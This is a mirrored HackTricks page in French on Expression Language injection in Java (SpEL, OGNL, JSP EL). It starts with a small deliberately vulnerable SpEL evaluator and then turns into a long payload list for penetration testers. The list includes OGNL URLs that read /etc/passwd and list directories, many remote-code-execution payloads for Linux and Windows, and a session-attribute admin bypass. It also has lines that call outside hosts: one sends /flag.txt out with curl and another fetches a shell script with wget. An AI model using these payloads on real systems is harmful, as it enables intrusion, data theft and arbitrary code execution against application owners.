mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 22:03:10 +00:00
271 lines
15 KiB
Markdown
271 lines
15 KiB
Markdown
# EL - Expression Language
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
|
|
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
|
|
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
***
|
|
|
|
## Bsic Info
|
|
|
|
L'Expression Language (EL) est intégrale dans JavaEE pour faire le lien entre la couche de présentation (par exemple, les pages web) et la logique applicative (par exemple, les beans gérés), permettant leur interaction. Elle est principalement utilisée dans :
|
|
|
|
* **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend.
|
|
* **JavaServer Pages (JSP)** : Pour l'accès et la manipulation des données au sein des pages JSP.
|
|
* **Contexts and Dependency Injection for Java EE (CDI)** : Pour faciliter l'interaction de la couche web avec les beans gérés.
|
|
|
|
**Contextes d'utilisation** :
|
|
|
|
* **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données.
|
|
* **Utilisation générale** : Via l'API SpEL par les développeurs dans des langages basés sur la JVM comme Java, Kotlin et Scala.
|
|
|
|
L'EL est présente dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.
|
|
|
|
{% hint style="info" %}
|
|
Selon la **version de l'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
|
|
{% endhint %}
|
|
|
|
## Basic Example
|
|
|
|
(Vous pouvez trouver un autre tutoriel intéressant sur l'EL à [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
|
|
|
|
Téléchargez depuis le dépôt [**Maven**](https://mvnrepository.com) les fichiers jar :
|
|
|
|
* `commons-lang3-3.9.jar`
|
|
* `spring-core-5.2.1.RELEASE.jar`
|
|
* `commons-logging-1.2.jar`
|
|
* `spring-expression-5.2.1.RELEASE.jar`
|
|
|
|
Et créez le fichier suivant `Main.java` :
|
|
```java
|
|
import org.springframework.expression.Expression;
|
|
import org.springframework.expression.ExpressionParser;
|
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
|
|
|
public class Main {
|
|
public static ExpressionParser PARSER;
|
|
|
|
public static void main(String[] args) throws Exception {
|
|
PARSER = new SpelExpressionParser();
|
|
|
|
System.out.println("Enter a String to evaluate:");
|
|
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
|
|
String input = stdin.readLine();
|
|
Expression exp = PARSER.parseExpression(input);
|
|
String result = exp.getValue().toString();
|
|
System.out.println(result);
|
|
}
|
|
}
|
|
```
|
|
Ensuite, compilez le code (si vous n'avez pas `javac` installé, installez `sudo apt install default-jdk`) :
|
|
```java
|
|
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
|
```
|
|
Exécutez l'application avec :
|
|
```java
|
|
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
|
Enter a String to evaluate:
|
|
{5*5}
|
|
[25]
|
|
```
|
|
Notez comment dans l'exemple précédent le terme `{5*5}` a été **évalué**.
|
|
|
|
## **Tutoriel basé sur CVE**
|
|
|
|
Vérifiez-le dans **ce post :** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
|
|
|
## Charges utiles
|
|
|
|
### Actions de base
|
|
```bash
|
|
#Basic string operations examples
|
|
{"a".toString()}
|
|
[a]
|
|
|
|
{"dfd".replace("d","x")}
|
|
[xfx]
|
|
|
|
#Access to the String class
|
|
{"".getClass()}
|
|
[class java.lang.String]
|
|
|
|
#Access ro the String class bypassing "getClass"
|
|
#{""["class"]}
|
|
|
|
#Access to arbitrary class
|
|
{"".getClass().forName("java.util.Date")}
|
|
[class java.util.Date]
|
|
|
|
#List methods of a class
|
|
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
|
|
[public boolean java.util.Date.equals(java.lang.Object)]
|
|
```
|
|
### Détection
|
|
|
|
* Détection Burp
|
|
```bash
|
|
gk6q${"zkz".toString().replace("k", "x")}doap2
|
|
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
|
```
|
|
* Détection J2EE
|
|
```bash
|
|
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
|
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
|
```
|
|
* Dormir 10 secondes
|
|
```bash
|
|
#Blind detection vector (sleep during 10 seconds)
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
|
```
|
|
### Inclusion de Fichiers à Distance
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
|
```
|
|
### Liste des répertoires
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
|
|
```
|
|
### RCE
|
|
|
|
* Explication de base de l'**RCE**
|
|
```bash
|
|
#Check the method getRuntime is there
|
|
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
|
|
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
|
|
|
|
#Execute command (you won't see the command output in the console)
|
|
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
|
|
[Process[pid=10892, exitValue=0]]
|
|
|
|
#Execute command bypassing "getClass"
|
|
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
|
|
|
|
# With HTMl entities injection inside the template
|
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
|
```
|
|
* RCE **linux**
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
|
```
|
|
* RCE **Windows** (non testé)
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
|
```
|
|
* **Plus de RCE**
|
|
```java
|
|
// Common RCE payloads
|
|
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
|
|
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
|
|
|
|
// Method using Runtime via getDeclaredConstructors
|
|
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
|
|
#{session.getAttribute("rtc").setAccessible(true)}
|
|
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
|
|
|
|
// Method using processbuilder
|
|
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
|
|
${request.getAttribute("c").add("cmd.exe")}
|
|
${request.getAttribute("c").add("/k")}
|
|
${request.getAttribute("c").add("ping x.x.x.x")}
|
|
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
|
|
${request.getAttribute("a")}
|
|
|
|
// Method using Reflection & Invoke
|
|
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
|
|
|
|
// Method using ScriptEngineManager one-liner
|
|
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
|
|
|
|
// Method using ScriptEngineManager
|
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
|
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
|
|
|
|
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
|
|
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
|
|
T(java.lang.System).getenv()[0]
|
|
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
|
|
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
|
|
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
|
|
```
|
|
### Inspecter l'environnement
|
|
|
|
* `applicationScope` - variables d'application globales
|
|
* `requestScope` - variables de requête
|
|
* `initParam` - variables d'initialisation de l'application
|
|
* `sessionScope` - variables de session
|
|
* `param.X` - valeur du paramètre où X est le nom d'un paramètre http
|
|
|
|
Vous devrez convertir ces variables en chaîne comme :
|
|
```bash
|
|
${sessionScope.toString()}
|
|
```
|
|
#### Exemple de contournement d'autorisation
|
|
```bash
|
|
${pageContext.request.getSession().setAttribute("admin", true)}
|
|
```
|
|
L'application peut également utiliser des variables personnalisées telles que :
|
|
```bash
|
|
${user}
|
|
${password}
|
|
${employee.FirstName}
|
|
```
|
|
## Bypass WAF
|
|
|
|
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
|
|
|
## Références
|
|
|
|
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
|
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
|
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
|
|
|
### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
|
|
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
|
|
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|